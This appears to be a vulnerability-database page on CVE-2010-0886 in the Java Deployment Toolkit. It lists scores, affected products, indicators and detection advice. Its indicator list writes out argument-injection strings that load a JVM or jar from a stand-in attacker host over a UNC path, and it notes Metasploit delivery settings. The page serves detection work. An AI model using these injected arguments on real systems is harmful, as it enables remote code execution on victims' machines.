cbcvebase.
CVE-2010-0886
published 2010-04-20

CVE-2010-0886: Unspecified vulnerability in the Java Deployment Toolkit component in Oracle Java SE and Java for Business JDK and JRE 6 Update 10 through 19 allows remote…

PriorityP182critical10CVSS 2.0
AVNACLAuNCCICAC
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
69.95%
99.3th percentile
Unspecified vulnerability in the Java Deployment Toolkit component in Oracle Java SE and Java for Business JDK and JRE 6 Update 10 through 19 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors.

Affected

7 ranges
VendorProductVersion rangeFixed in
sunjdk
sunjre
vmwareesxi
vmwarevmware_tools
vmwarevmware_vcenter_server
vmwarevmware_vsphere
vmwarevmware_workstation

Detection & IOCsextracted from sources · hover to see the quote

otherCAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA
other8AD9C840-044E-11D1-B3E9-00805F499D93
otherapplication/npruntime-scriptable-plugin;deploymenttoolkit
otherapplication/java-deployment-toolkit
command-J-XXaltjvm=\\<attacker_host>\<share> -Xnosplash
command-J-jar -J\\attacker.controlled\exploit.jar none
filenamenpjp2.dll
filenamejp2iexp.dll
filenamenpdeploytk.dll
filenamejavaws.exe
registryHKEY_LOCAL_MACHINE\SOFTWARE\Classes\JNLPFile\Shell\Open\Command
urlhttp://lock.cmpxchg8b.com/bb5eafbc6c6e67e11c4afc88b4e1dd22/testcase.html
  • Detect exploit delivery via OBJECT tag with Java Deployment Toolkit CLSID or MIME type invoking .launch() with argument-injected URLs containing -J, -XXaltjvm, or -jar flags
  • Monitor for javaws.exe process launches with command-line arguments containing -J-XXaltjvm= pointing to UNC paths (\\<IP>\<share>), indicating attempted DLL hijack via WebDAV
  • Detect WebDAV PROPFIND requests for .dll files served over HTTP port 80 from a browser context, which is the mechanism used to deliver the malicious jvm.dll payload
  • Alert on User-Agent strings matching MiniRedir/(5|6).(0|1|2) in HTTP logs on port 80, indicating the Windows WebDAV Mini-Redirector fetching a payload DLL
  • Check for the presence of npdeploytk.dll loaded in browser processes; its existence and execution path can confirm exposure to this vulnerability
  • Inspect HTML pages for OBJECT elements using MIME type 'application/npruntime-scriptable-plugin;deploymenttoolkit' or 'application/java-deployment-toolkit' calling .launch() with URL parameters containing whitespace-separated JVM flags
  • ·The Metasploit module requires SRVPORT=80 and URIPATH=/ to function; the WebDAV delivery mechanism will not work on non-standard ports
  • ·The exploit requires the target host to have the WebClient service (WebDAV Mini-Redirector) enabled; without it the UNC-path DLL loading step will fail
  • ·Disabling the Java browser plugin alone is insufficient mitigation because the Java Deployment Toolkit is installed independently of the plugin
  • ·macOS is not affected by this vulnerability; only Windows (and Linux via libnpjp2.so) are vulnerable
  • ·The registered MIME type for the deployment toolkit changed over time between 'application/npruntime-scriptable-plugin;deploymenttoolkit' and 'application/java-deployment-toolkit'; detections should cover both

CVSS provenance

nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
vulncheck10.0CRITICAL
vendor_redhat10.0CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.